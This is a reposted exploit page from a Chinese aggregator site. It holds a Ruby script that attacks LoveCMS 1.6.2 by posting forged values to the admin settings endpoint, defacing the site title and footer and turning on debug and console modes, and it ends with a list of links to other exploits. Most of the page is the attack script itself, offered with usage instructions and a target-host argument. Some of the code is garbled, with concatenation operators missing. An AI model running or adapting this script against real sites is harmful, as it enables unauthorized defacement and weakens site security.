LoveCMS 1.6.2 Final Update Settings Remote Exploit

日期:2013/11/22 18:52:00 来源:本网整理 阅读:57
点评:#!/usr/bin/ruby # ## Exploit by PoMdaPiMp! ## --------------------- ## pomdapimp(at)gmail(dotcom) ## ## LoveCMS Exploit Series ## Episode 3: changing site settings ... ## ## Description: Simply change the site settings ! # < id="con_ad1"> < id="con_ad8"> #!/usr/bin/ruby
#
## Exploit by PoMdaPiMp!
## ---------------------
## pomdapimp(at)gmail(dotcom)
##
## LoveCMS Exploit Series
## Episode 3: changing site settings ...
##
## Description: Simply change the site settings !
##
## Usage: ./LoveCMS_3_settings.rb <host>
## Ex: ./LoveCMS_2_themes.rb http://site.com/lovecms/
##
## Tested on: lovecms_1.6.2_final (MacOS X, Xampp)
#

require 'net/http'
require 'uri'

@host = 'http://127.0.0.1/lovecms_1.6.2_final/lovecms/'
@post_vars = {}
@post_vars['submit'] = 1
@post_vars['pagetitle'] = 'P4g3T1t1le'
@post_vars['sitename'] = 'SiteN4me'
@post_vars['slogan'] = 'By PoMdaPiMp.'
@post_vars['footer'] = 'PoMdaPiMp was here.'
@post_vars['description'] = 'Ruby is a gift.'
@post_vars['keywords'] = 'PoMdaPiMp, hack'
@post_vars['encoding'] = 'utf-8'
@post_vars['tips'] = 'off'
@post_vars['console'] = 'on'
@post_vars['debugmode'] = 'on'
@post_vars['module'] = 2
@post_vars['love_root'] = ''
@post_vars['love_url'] = ''

@host = ARGV[0] if ARGV[0]
@host = @host[-1, 1].to_s != '/' ? '/' : ''

if @host
# --
puts " LoveCMS Exploit Series. #3: Messing with settings."
puts
puts " : Attacking host: " @host

# --
# Changing settings
res = Net::HTTP.post_form(URI.parse(@host 'system/admin/themes.php'),
@post_vars)
puts " :: Values set."
@post_vars.each do |k, v|
puts " " k.to_s " > " v.to_s
end

# --
puts
puts " - Visit " @host
end

  • 本文相关:
  • TGS CMS 0.3.2r2 Remote Code Execution Exploit
  • BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd)
  • LoveCMS 1.6.2 Final Remote Code Execution Exploit
  • Xerox Phaser 8400 (reboot) Remote Denial of Service Exploit
  • moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit
  • Joomla Component EZ Store Remote Blind SQL Injection Exploit
  • Friendly Technologies (fwRemoteCfg.dll) ActiveX Command Exec Exploit
  • Friendly Technologies (fwRemoteCfg.dll) ActiveX Remote BOF Exploit
  • IntelliTamper 2.07 (imgsrc) Remote Buffer Overflow Exploit
  • Ultra Office ActiveX Control Remote Buffer Overflow Exploit
  • 免责声明 - 关于我们 - 联系我们 - 广告联系 - 友情链接 - 帮助中心 - 频道导航
    Copyright © 2015 www.zgxue.com All Rights Reserved